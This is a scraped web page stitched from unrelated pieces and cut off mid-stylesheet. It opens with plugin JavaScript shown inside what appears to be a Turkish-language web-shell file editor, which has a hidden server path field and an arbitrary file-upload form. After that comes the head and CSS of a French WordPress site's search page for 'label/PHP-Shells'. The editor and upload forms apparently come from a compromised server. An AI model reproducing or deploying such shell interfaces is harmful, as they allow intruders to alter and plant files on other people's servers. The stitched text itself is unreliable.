	jQuery.post(Ajax_sasoEventtickets.url, {
		action: Ajax_sasoEventtickets.action,
		a_sngmbh: &#039;migrateOptionsToCustomTable&#039;,
		nonce: Ajax_sasoEventtickets.nonce
	}, function(response) {
		if (response &amp;&amp; response.data) {
			btn.textContent = &#039;Done! (&#039; + (response.data.migrated || 0) + &#039; migrated)&#039;;
			setTimeout(function() { location.reload(); }, 1500);
		} else {
			btn.textContent = &#039;Error&#039;;
			btn.disabled = false;
		}
	}).fail(function() {
		btn.textContent = &#039;Error&#039;;
		btn.disabled = false;
	});
}</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/wp-content/plugins/event-tickets-with-ticket-scanner/backend.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>Rechercher des résultats pour &quot;label/PHP-Shells&quot; | HAGGAI BURKINA FASO</title>
<meta name='robots' content='noindex, follow, max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux de résultats de la recherche pour « label/PHP-Shells »" href="https://haggai-bf.org/search/label/PHP-Shells/feed/rss2/" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d4bf7c57ab*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password 